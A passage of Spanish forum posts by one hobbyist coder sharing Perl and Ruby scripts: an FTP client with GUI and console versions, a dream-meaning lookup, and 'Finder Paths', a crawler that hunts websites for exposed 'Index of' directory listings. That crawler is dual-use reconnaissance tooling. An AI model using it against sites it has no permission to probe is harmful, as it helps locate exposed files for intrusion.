  if  code=~/<pre>(.*?)<\/pre>/mi
    final = $1
    final = final.sub(/&quot;/,"")
    final = final.sub(/&gt;&gt;&gt;/,"")
    final = final.sub(/&lt;&lt;&lt;/,"")
    return final
  else
    return "Not Found"
  end
end

domain = ARGV[0]

head()
if !domain
  sintax()
else
  print whois(domain)
end
copyright()
   
#The End ?
#271
Perl / [Perl Tk] FTP Manager 0.2
Abril 22, 2012, 12:05:44 AM
Version Tk de un cliente FTP que hice en Perl

Las opciones que tiene son

  • Listado de archivos en un directorio
  • Borrar archivos y directorios
  • Crear directorios nuevos
  • Renombrar
  • Descargar y subir archivos

    Una imagen


    El codigo del programa

    Código: perl

    #!usr/bin/perl
    #FTP Manager 0.2
    #Version Tk
    #Coded By Doddy H

    use Tk;
    use Tk::FileSelect;
    use Cwd;
    use Net::FTP;

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $color_fondo = "black";
    my $color_texto = "cyan";

    my $navedos =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

    $navedos->title("FTP Manager 0.2");
    $navedos->geometry("218x150+20+20");
    $navedos->resizable( 0, 0 );

    $navedos->Label(
        -text       => "Host : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 10 );
    my $host = $navedos->Entry(
        -width      => 23,
        -text       => "localhost",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 13 );

    $navedos->Label(
        -text       => "User : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 40 );
    my $user = $navedos->Entry(
        -width      => 23,
        -text       => "doddy",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 43 );

    $navedos->Label(
        -text       => "Pass : ",
        -font       => "Impact1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 10, -y => 70 );
    my $pass = $navedos->Entry(
        -width      => 23,
        -text       => "doddy",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 73 );

    $navedos->Button(
        -text             => "Connect",
        -width            => 13,
        -command          => \&now,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->place( -x => 60, -y => 110 );

    MainLoop;

    sub now {

        my $host = $host->get;
        my $user = $user->get;
        my $pass = $pass->get;

        my $socket = Net::FTP->new($host);
        if ( $socket->login( $user, $pass ) ) {

            $navedos->destroy;

            my $mandos = MainWindow->new(
                -background => $color_fondo,
                -foreground => $color_texto
            );
            $mandos->title("FTP Manager 0.2 || Coded By Doddy H");
            $mandos->geometry("565x335+20+20");
            $mandos->resizable( 0, 0 );

            $menul = $mandos->Frame(
                -relief     => "sunken",
                -bd         => 1,
                -background => $color_fondo,
                -foreground => $color_texto
            );
            my $menulnow = $menul->Menubutton(
                -text             => "Options",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            my $aboutnow = $menul->Menubutton(
                -text             => "About",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            my $exitnow = $menul->Menubutton(
                -text             => "Exit",
                -underline        => 1,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->pack( -side => "left" );
            $menul->pack( -side => "top", -fill => "x" );

            $menulnow->command(
                -label      => "Delete File",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&delnow
            );
            $menulnow->command(
                -label      => "Delete Directory",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&deldirnow
            );
            $menulnow->command(
                -label      => "Make Directory",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&makedirnow
            );
            $menulnow->command(
                -label      => "Rename",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&renamenow
            );
            $menulnow->command(
                -label      => "Download",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&downloadnow
            );
            $menulnow->command(
                -label      => "Upload",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&updatenow
            );

            $aboutnow->command(
                -label      => "About",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&aboutnownow
            );
            $exitnow->command(
                -label      => "Exit",
                -background => $color_fondo,
                -foreground => $color_texto,
                -command    => \&exitnow
            );

            $mandos->Label(
                -text       => "Directory : ",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 23, -y => 40 );
            my $actual = $mandos->Entry(
                -text       => "/",
                -width      => 60,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 105, -y => 43 );
            $mandos->Button(
                -width            => 8,
                -text             => "Enter",
                -command          => \&dirs,
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->place( -x => 480, -y => 43 );

            $mandos->Label(
                -text       => "Directory",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 130, -y => 90 );
            $mandos->Label(
                -text       => "Files",
                -font       => "Impact1",
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 350, -y => 90 );

            my $dir_now = $mandos->Listbox(
                -width      => 25,
                -height     => 13,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 88, -y => 130 );
            my $files_now = $mandos->Listbox(
                -width      => 25,
                -height     => 13,
                -background => $color_fondo,
                -foreground => $color_texto
            )->place( -x => 300, -y => 130 );

            sub exitnow {
                $socket->close();
                exit(1);
            }

            sub aboutnownow {
                $mandos->Dialog(
                    -title            => "About",
                    -buttons          => ["OK"],
                    -text             => "Coded By Doddy H",
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->Show();
            }

            sub dirs {

                $dir_now->delete( "0.0", "end" );
                $files_now->delete( "0.0", "end" );

                if ( my @files = $socket->dir() ) {

                    my @files_found;
                    my @dirs_found;

                    $socket->cwd( $actual->get );

                    for my $fil (@files) {
                        my @to = split( " ", $fil );
                        my ( $dir, $file ) = @to[ 0, 8 ];
                        if ( $dir =~ /^d/ ) {
                            $dir_now->insert( "end", $file );
                        }
                        else {
                            $files_now->insert( "end", $file );
                        }
                    }
                }
            }

            sub delnow {

                my $ventdos = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventdos->geometry("260x80+20+20");
                $ventdos->title("Delete File");
                $ventdos->resizable( 0, 0 );

                $ventdos->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filechau = $ventdos->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 60, -y => 26 );
                $ventdos->Button(
                    -width            => 6,
                    -text             => "Delete",
                    -command          => \&delnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 190, -y => 25 );

                sub delnowdos {
                    if ( $socket->delete( $filechau->get ) ) {
                        $mandos->Dialog(
                            -title            => "Deleted",
                            -buttons          => ["OK"],
                            -text             => "File Deleted",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub deldirnow {

                my $venttres = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $venttres->geometry("300x80+20+20");
                $venttres->title("Delete Directory");
                $venttres->resizable( 0, 0 );

                $venttres->Label(
                    -text       => "Directory : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $dirchau = $venttres->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 99, -y => 26 );
                $venttres->Button(
                    -width            => 6,
                    -text             => "Delete",
                    -command          => \&deldirnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 230, -y => 25 );

                sub deldirnowdos {
                    if ( $socket->rmdir( $dirchau->get ) ) {
                        $mandos->Dialog(
                            -title            => "Deleted",
                            -buttons          => ["OK"],
                            -text             => "Directory Deleted",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub makedirnow {

                my $ventcuatro = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventcuatro->geometry("300x80+20+20");
                $ventcuatro->title("Make Directory");
                $ventcuatro->resizable( 0, 0 );

                $ventcuatro->Label(
                    -text       => "Directory : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $dirnow = $ventcuatro->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 99, -y => 26 );
                $ventcuatro->Button(
                    -width            => 6,
                    -text             => "Make",
                    -command          => \&makedirnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 230, -y => 25 );

                sub makedirnowdos {

                    if ( $socket->mkdir( $dirnow->get ) ) {
                        $mandos->Dialog(
                            -title            => "Ok",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub renamenow {

                my $ventcinco = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventcinco->geometry("440x80+20+20");
                $ventcinco->title("Rename");
                $ventcinco->resizable( 0, 0 );

                $ventcinco->Label(
                    -text       => "Name : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $unonow = $ventcinco->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 74, -y => 26 );

                $ventcinco->Label(
                    -text       => "To : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 210, -y => 20 );
                my $dosnow = $ventcinco->Entry(
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 240, -y => 26 );

                $ventcinco->Button(
                    -width            => 6,
                    -text             => "Rename",
                    -command          => \&renamenowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 372, -y => 26 );

                sub renamenowdos {

                    if ( $socket->rename( $unonow->get, $dosnow->get ) ) {
                        $mandos->Dialog(
                            -title            => "Ok",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub updatenow {

                my $ventseis = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventseis->geometry("440x80+20+20");
                $ventseis->title("Upload");
                $ventseis->resizable( 0, 0 );

                $ventseis->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filenow = $ventseis->Entry(
                    -width      => 40,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 60, -y => 26 );

                $ventseis->Button(
                    -width            => 8,
                    -text             => "Browse",
                    -command          => \&bronow,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 310, -y => 26 );
                $ventseis->Button(
                    -width            => 8,
                    -text             => "Upload",
                    -command          => \&updatenowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 365, -y => 26 );

                sub bronow {
                    $browse = $ventseis->FileSelect( -directory => getcwd() );
                    my $file = $browse->Show;
                    $filenow->configure( -text => $file );
                }

                sub updatenowdos {

                    if ( $socket->put( $filenow->get ) ) {
                        $mandos->Dialog(
                            -title            => "File uploaded",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

            sub downloadnow {

                my $ventsiete = MainWindow->new(
                    -background => $color_fondo,
                    -foreground => $color_texto
                );
                $ventsiete->geometry("270x80+20+20");
                $ventsiete->title("Downloader");
                $ventsiete->resizable( 0, 0 );

                $ventsiete->Label(
                    -text       => "File : ",
                    -font       => "Impact",
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 20, -y => 20 );
                my $filenownow = $ventsiete->Entry(
                    -width      => 20,
                    -background => $color_fondo,
                    -foreground => $color_texto
                )->place( -x => 59, -y => 26 );
                $ventsiete->Button(
                    -width            => 8,
                    -text             => "Download",
                    -command          => \&downloadnowdos,
                    -background       => $color_fondo,
                    -foreground       => $color_texto,
                    -activebackground => $color_texto
                )->place( -x => 190, -y => 25 );

                sub downloadnowdos {

                    if ( $socket->get( $filenownow->get ) ) {
                        $mandos->Dialog(
                            -title            => "File downloaded",
                            -buttons          => ["OK"],
                            -text             => "Ok",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                    else {
                        $mandos->Dialog(
                            -title            => "Error",
                            -buttons          => ["OK"],
                            -text             => "Error",
                            -background       => $color_fondo,
                            -foreground       => $color_texto,
                            -activebackground => $color_texto
                        )->Show();
                    }
                }
            }

        }
        else {
            $mandos->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Error",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }

    #The End ?
#272
Perl / [Perl] FTP Manager 0.2
Abril 22, 2012, 12:05:31 AM
Nueva version de un cliente FTP que hice en Perl , en esta version se le arreglo varias cosas.

El codigo

Código: perl

#!usr/bin/perl
#FTP Manager 0.2
#Coded By Doddy H

use Net::FTP;

&head;

print "\n\n[FTP Server] : ";
chomp( my $ftp = <stdin> );
print "\n[User] : ";
chomp( my $user = <stdin> );
print "\n[Pass] : ";
chomp( my $pass = <stdin> );

if ( my $socket = Net::FTP->new($ftp) ) {
    if ( $socket->login( $user, $pass ) ) {

        print "\n\n[+] Enter of the server FTP\n";

      menu:

        print "\n\n>>";
        chomp( my $cmd = <stdin> );
        print "\n\n";

        if ( $cmd =~ /help/ ) {
            print q(
[+] Commands

[++] help : show information
[++] cd : change directory <dir>
[++] dir : list a directory
[++] mkdir : create a directory <dir>
[++] rmdir : delete a directory <dir>
[++] pwd : directory 
[++] del : delete a file <file>
[++] rename : change name of the a file <file1> <file2>
[++] size : size of the a file <file>
[++] put : upload a file <file>
[++] get : download a file <file>
[++] cdup : change dir <dir>
);
        }

        if ( $cmd eq "dir" ) {
            if ( my @files = $socket->dir() ) {

                my @files_found;
                my @dirs_found;

                for my $fil (@files) {
                    my @to = split( " ", $fil );
                    my ( $dir, $file ) = @to[ 0, 8 ];
                    if ( $dir =~ /^d/ ) {
                        push( @dirs_found, $file );
                    }
                    else {
                        push( @files_found, $file );
                    }
                }

                print "[++] Directory Found : " . int(@dirs_found) . "\n";
                print "\n[+] Files Found : " . int(@files_found) . "\n\n";

                for my $dires (@dirs_found) {
                    print "[++] : $dires\n";
                }

                for my $filex (@files_found) {
                    print "[+] : $filex\n";
                }

            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /pwd/ig ) {
            print "[+] Path : " . $socket->pwd() . "\n";
        }

        if ( $cmd =~ /cd (.*)/ig ) {
            if ( $socket->cwd($1) ) {
                print "[+] Directory changed\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /cdup/ig ) {
            if ( my $dir = $socket->cdup() ) {
                print "[+] Directory changed\n\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /del (.*)/ig ) {
            if ( $socket->delete($1) ) {
                print "[+] File deleted\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /rename (.*) (.*)/ig ) {
            if ( $socket->rename( $1, $2 ) ) {
                print "[+] File Updated\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /mkdir (.*)/ig ) {
            if ( $socket->mkdir($1) ) {
                print "[+] Directory created\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /rmdir (.*)/ig ) {
            if ( $socket->rmdir($1) ) {
                print "[+] Directory deleted\n";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /size (.*)/ig ) {
            print "[+] Size : " . $socket->size($1) . "\n\n";
        }

        if ( $cmd =~ /exit/ig ) {
            copyright();
            exit(1);
        }

        if ( $cmd =~ /get (.*)/ig ) {
            print "[+] Downloading file\n\n";
            if ( $socket->get($1) ) {
                print "[+] Download completed";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        if ( $cmd =~ /put (.*)/ig ) {
            print "[+] Uploading file\n\n";
            if ( $socket->put($1) ) {
                print "[+] Upload completed";
            }
            else {
                print "[-] Error\n\n";
            }
        }

        goto menu;

    }
    else {
        print "\n\n[-] Failed the login\n\n";
    }

}
else {
    print "\n\n[-] Error\n\n";
}

sub head {
    print "\n\n -- == FTP Manager 0.2 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
}

# The End ?


#273
Perl / [Perl Tk] Finder Paths 0.7
Abril 07, 2012, 09:02:48 PM
Un simple programa para buscar los listados de directorios en una pagina.

Una imagen


El codigo

Código: perl

#!usr/bin/perl
#Finder Paths 0.7
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ListBox;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $background_fondo = "black";
my $texto_color      = "cyan";

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

$ha = MainWindow->new(
    -background => $background_fondo,
    -foreground => $texto_color
);
$ha->title("Finder Paths 0.7 || (C) Doddy Hackman 2012");
$ha->geometry("510x430+20+20");
$ha->resizable( 0, 0 );

$ha->Label(
    -text       => "Web : ",
    -font       => "Impact1",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 30, -y => 20 );
my $pagine = $ha->Entry(
    -text       => "http://localhost:8080/paths",
    -width      => 40,
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 80, -y => 23 );
$ha->Button(
    -text             => "Search",
    -width            => 10,
    -command          => \&search,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 330, -y => 23 );
$ha->Button(
    -text             => "Logs",
    -width            => 10,
    -command          => \&ver_logs,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 405, -y => 23 );

$ha->Label(
    -text       => "Type : ",
    -font       => "Impact1",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 30, -y => 55 );

$ha->Radiobutton(
    -text             => "Fast",
    -value            => "fast",
    -variable         => \$type,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 80, -y => 57 );
$ha->Radiobutton(
    -text             => "Full",
    -value            => "full",
    -variable         => \$type,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 125, -y => 57 );

$ha->Label(
    -text       => "Paths Found",
    -font       => "Impact",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 200, -y => 110 );
my $paths_list = $ha->Listbox(
    -width      => 70,
    -height     => 13,
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 42, -y => 160 );
my $status_now = $ha->Label(
    -text       => "Status : <None>",
    -font       => "Impact",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 190, -y => 380 );

MainLoop;

sub search {

    $paths_list->delete( "0.0", "end" );
    $status_now->configure( -text => "Status : Scanning" );
    if ( $type eq "fast" ) {
        simple( $pagine->get );
    }
    if ( $type eq "full" ) {
        escalar( $pagine->get );
    }
    $status_now->configure( -text => "Status : <None>" );
}

sub ver_logs {
    if ( -f "paths-logs.txt" ) {
        system("paths-logs.txt");
    }
    else {
        $ha->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $background_fondo,
            -foreground       => $texto_color,
            -activebackground => $texto_color
        )->Show();
    }
}

sub escalar {

    my $co    = $_[0];
    my $code  = toma( $_[0] );
    my @links = get_links($code);

    if ( $code =~ /Index of (.*)/ig ) {
        $paths_list->insert( "end", $co );
        savefile( "paths-logs.txt", $co );
        my $dir_found = $1;
        chomp $dir_found;
        while ( $code =~ /<a href=\"(.*)\">(.*)<\/a>/ig ) {
            my $ruta   = $1;
            my $nombre = $2;
            unless ( $nombre =~ /Parent Directory/ig
                or $nombre =~ /Description/ig )
            {
                push( @encontrados, $_[0] . "/" . $nombre );
            }
        }
    }

    for my $com (@links) {
        $ha->update;
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $yeah = "http://" . $auth . $parche;
                    escalar($yeah);
                }
            }
            for (@encontrados) {
                $ha->update;
                escalar($_);
            }
        }
    }
}

sub simple {

    my $code  = toma( $_[0] );
    my @links = get_links($code);

    for my $com (@links) {
        $ha->update;
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $code = toma( "http://" . $auth . $parche );

                    if ( $code =~ /Index of (.*)</ig ) {
                        my $dir_found = $1;
                        chomp $dir_found;
                        my $yeah = "http://" . $auth . $parche;
                        $paths_list->insert( "end", $yeah );
                        savefile( "paths-logs.txt", $yeah );
                    }
                }
            }
        }
    }
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub get_links {

    $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
    return @links;

    sub agarrar {
        my ( $a, %b ) = @_;
        push( @links, values %b );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

#The End ?
#274
Perl / [Perl] Finder Paths 0.6
Abril 07, 2012, 09:02:39 PM
Un simple script para buscar los famosos listados de directorios en una pagina.

Código: perl

#!usr/bin/perl
#Finder Paths 0.6
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

head();

print "[+] Web : ";
chomp( my $web = <stdin> );

print "\n\n[+] Scan Type\n\n";
print "[+] 1 : Fast\n";
print "[+] 2 : Full\n";

print "\n\n[+] Option : ";
chomp( my $op = <stdin> );

print "\n\n[+] Scanning ....\n\n\n";

if ( $op eq "1" ) {
    simple($web);
}
elsif ( $op eq "2" ) {
    escalar($web);
}
else {
    simple($web);
}
copyright();

sub escalar {

    my $co    = $_[0];
    my $code  = toma( $_[0] );
    my @links = get_links($code);

    if ( $code =~ /Index of (.*)/ig ) {
        print "[+] Link : $co\n";
        savefile( "paths-logs.txt", $co );
        my $dir_found = $1;
        chomp $dir_found;
        while ( $code =~ /<a href=\"(.*)\">(.*)<\/a>/ig ) {
            my $ruta   = $1;
            my $nombre = $2;
            unless ( $nombre =~ /Parent Directory/ig
                or $nombre =~ /Description/ig )
            {
                push( @encontrados, $_[0] . "/" . $nombre );
            }
        }
    }

    for my $com (@links) {
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $yeah = "http://" . $auth . $parche;
                    escalar($yeah);
                }
            }
            for (@encontrados) {
                escalar($_);
            }
        }
    }
}

sub simple {

    my $code  = toma( $_[0] );
    my @links = get_links($code);

    for my $com (@links) {
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $code = toma( "http://" . $auth . $parche );

                    if ( $code =~ /Index of (.*)</ig ) {
                        my $dir_found = $1;
                        chomp $dir_found;
                        my $yeah = "http://" . $auth . $parche;
                        print "[+] Link : $yeah\n";
                        savefile( "paths-logs.txt", $yeah );
                    }
                }
            }
        }
    }
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub get_links {

    $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
    return @links;

    sub agarrar {
        my ( $a, %b ) = @_;
        push( @links, values %b );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub head {
    print qq(


@@@@@ @           @             @@@@@           @         
@                 @             @    @       @  @         
@                 @             @    @       @  @         
@     @ @ @@   @@@@  @@@  @@    @    @  @@@  @@ @ @@   @@
@@@@  @ @@  @ @   @ @   @ @     @@@@@      @ @  @@  @ @  @
@     @ @   @ @   @ @@@@@ @     @       @@@@ @  @   @  @ 
@     @ @   @ @   @ @     @     @      @   @ @  @   @   @
@     @ @   @ @   @ @   @ @     @      @   @ @  @   @ @  @
@     @ @   @  @@@@  @@@  @     @       @@@@  @ @   @  @@





);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

# The End ?
#275
Ruby / [Ruby] Buscador de sueños 0.1
Abril 04, 2012, 01:37:44 PM
Un buscador de sueños en Ruby

Código: ruby

#!usr/bin/ruby
#Buscador de sueños 0.1
#Coded By Doddy H

require "net/http"

def head()
  print "\n\n-- == Buscador de sueños == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  gets.chomp
  exit(1)
end

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end

head()

print "\n[+] Texto : "
string = gets.chomp

url = "http://www.mis-suenos.org/interpretaciones/buscar?text="+string

code = toma(url)

if code=~/<li>(.*)<\/li>/
  text = $1
  if text == " "
    print "\n\n[-] No encontrado"
  else
    print "\n\n[+] Significado : "+text
  end
end

copyright()

#The End ?
#276
Perl / [Perl] Buscador de sueños 0.1
Abril 04, 2012, 01:36:55 PM
Un simple buscador de sueños en Perl.

Código: perl

#!usr/bin/perl
#Buscador de sueños 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

header();

print "\n[+] Palabra : ";
chomp( my $string = <stdin> );

my $code =
  toma( "http://www.mis-suenos.org/interpretaciones/buscar?text=" . $string );

if ( $code =~ /<li>(.*)<\/li>/ ) {
    my $si = $1;
    if ( $si eq " " ) {
        print "\n\n[-] No se encontro\n";
    }
    else {
        print "\n\n[+] Significado : $si\n";
    }
}

copyright();

sub header {
    print "\n\n-- == Buscador de sueños == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#277
Python / [Python] Buscador de sueños 0.1
Abril 04, 2012, 01:36:03 PM
Un simple buscador de sueños hecho en Python.

Código: python

#!usr/bin/python
#coding: utf-8
#Buscador de sueños 0.1
#Coded By Doddy H

import urllib2,re,sys

def toma(web) :
